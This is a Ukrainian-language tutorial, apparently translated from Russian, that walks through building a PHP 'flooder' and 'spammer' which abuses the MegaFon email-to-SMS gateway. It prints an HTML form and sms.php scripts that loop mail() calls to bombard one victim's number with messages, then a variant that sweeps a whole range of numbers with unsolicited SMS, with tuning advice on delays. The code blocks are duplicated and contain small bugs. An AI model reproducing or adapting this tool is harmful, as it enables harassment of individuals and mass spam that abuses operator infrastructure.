Пишемо Sms флудер або спамер (mail2sms)

mail2sms
Знайшовши або неробочі лінки або неробочі скрипти вирішив накатати флудер. Жертвою став російський Мегафон .Возьмём його як приклад.

ФЛУД

Для початку розберемося, що таке флудер. У моєму розумінні флудер - це програма або скрипт, яка (ий) відправляє заданому адресату якусь інформацію в певній кількості (часто - в дуже великому).

І так, що нам потрібно для написання такого флудера? Та майже нічого:
  • хостинг, з підтримкою PHP
  • мозок + прямі руки
  • вміння юзати гугль
Для флуду ми будемо використовувати SMS шлюз даного оператора.
SMS-шлюз - інтерфейс, який дозволяє відправляти і отримувати смс-повідомлення без використання мобільного телефону. SMS-повідомлення перетворюються в повідомлення електронної пошти, HTTP-запити і назад. Повідомлення, що відправляється через подібний шлюз, може бути безкоштовним для відправника; проте можливі технічні обмеження, такі, як ограчіненіе числа відправляються з одного комп'ютера повідомлень на добу.

Як зрозуміло з перерахованого вище просунуті програмісти нічого нового для себе не впізнають.
Отже, ви вибрали хостинг, з усім розібралися ...
Створюємо сторінку index.php такого змісту:
<?php
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>' ;
echo
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Megafon flooder from Inlanger</title>
<style type="text/css">
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
a:link { text-decoration: none; color : #000000}
a:active { text-decoration: none; color : #000000 }
a:visited { text-decoration: none; color : #000000}
a:hover { text-decoration: none; font-size: 9px; color : #404040 }
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
.a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
.v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'
;
echo
"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>" ;
echo
"</div><div class=\"v\">
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Количество:<br />
<input name=\"kol\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
<br/><br/>

<br/></div></body></html>"
;
?>
<?php
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>' ;
echo
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Megafon flooder from Inlanger</title>
<style type="text/css">
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
a:link { text-decoration: none; color : #000000}
a:active { text-decoration: none; color : #000000 }
a:visited { text-decoration: none; color : #000000}
a:hover { text-decoration: none; font-size: 9px; color : #404040 }
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
.a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
.v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'
;
echo
"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>" ;
echo
"</div><div class=\"v\">
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Количество:<br />
<input name=\"kol\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
<br/><br/>

<br/></div></body></html>"
;
?>
Як зрозуміло з коду, це буде сторінка з формою для відправки, що посилається на наш скрипт, який буде називатися sms.php:
<?php
$from
= "любой почтовый@ящик" ;
$to = $_POST [ 'to' ]. '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = 0 ; $i < $kol ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}
print
"
<html>
<body>
<p align=\"center\">
Your $kol SMS:<br><b>
$msg
</b>
has been sent to $to
<br></p>
<div align=right>Inlanger</div>
</body>
</html> "
;
?>
<?php
$from
= "любой почтовый@ящик" ;
$to = $_POST [ 'to' ]. '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = 0 ; $i < $kol ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}
print
"
<html>
<body>
<p align=\"center\">
Your $kol SMS:<br><b>
$msg
</b>
has been sent to $to
<br></p>
<div align=right>Inlanger</div>
</body>
</html> "
;
?>
Починаємо розбирати код.
Спочатку скрипта ми присвоюємо змінні.
$ from - будь-яку поштову скриньку, від якого будуть йти повідомлення.
$ to - адресат, тобто той, кого ми бум флудить. Значення змінної береться з форми index.php і слажівается з @ sms.mgsm.ru. Що ж таке, цей @ sms.mgsm.ru? Це SMS шлюз оператора МЕГФОН.
$ msg - змінна, в якій міститься текст, який буде надсилатися.
Далі йде цикл, завдання якого і є відправка потрібної кількості повідомленням з паузою sleep.
Функція mail якраз відповідає за переслку пошти на шлюз.

Тепер про функції sleep. Навіщо вона потрібна?
Якщо ми її НЕ впишемо, то сервер не зреагує на потрібну кількість SMS і вишле їх в кількості 1-2 штук. Ось для того, щоб сервер встигав реагувати і потрібна ця функція. У дужках пишеться кількість секунд затримки. Ця цифра підбираємося методом перебору різних варінт. Її значення може залежати від завантаженості шлюзу і швидкості вашого інтернету. Так що тут експериментуйте. Скрипт перевірявся з параметром 7.

Перевіряємо роботу скрипта. Заходимо на нашу форму, вводимо потрібні дані і тиснемо кнопку ...
Тепер варто врахувати, що скрипт виконується не відразу, а поступово, очікуючи виставлену вами паузу після отпракі кожного ообщенія.

СПАМ

Що таке спам? Я розумію спам як масову розсилку якоїсь інформації різним людям в різних цілях. Що нам потрібно для організації спаму
  • все, що було перераховано для флудера
Потрібно трохи переробити форму отпракі. Наведу тільки фрагмент:
  < form action = "sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Диапозон номеров:<br />
ОТ <input name=\"diapstart\" /> ДО <input name=\"diapfinish\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
І трохи модифікований код sms.php:

<?php
$from
= "любой почтовый@ящик" ;
$to = $i . '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = $diapstart ; $i <= $diapfinish ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}

...
<?php
$from
= "любой почтовый@ящик" ;
$to = $i . '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = $diapstart ; $i <= $diapfinish ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}

...
Думаю, тут все зрозуміло. Ми рухаємося по заданому диапозону номерів і відсилаємо їм SMS з заданим інтервалом. У даного методу:
[+] Працює без бази. на обличчя економія коштів і трафіку
[+] На відміну від бази - потрапляєте і в новачків мережі, яких в базах (платних і безкоштовних) ще немає
[-] Не всі відправлені SMS будуть доходити з тієї причини, що таких номерів може не бути. Але можна підбирати такі Діапазони, щоб була максимальна ймовірність доставки SMS.

Що сказати в ув'язненні ...
Даний матеріал не закликає вас до дії і має ознайомлювальний характер. Автор статті я, і при копіпаст посилання сюди обов'язкове.
При невеликому бажанні і належному вмінні скрипт модифікується в спамера або підлаштовується під будь-якого іншого оператора, з працюючим SMS шлюзом.Вот для пошуку шлюзів нам і треба було вміння гуглити. Для ледачих - великий список шлюзів . Але це, може бути, буде наступна стаття.

PS Флудер днями проверлся. Все прекрасно працює. Якщо не працює, тут є кілька варіантів. Один - криві руки. Другий - ваш хостинг не тримає функцію mail. Третій - оператор змінив шлюз або шлюз перевантажений.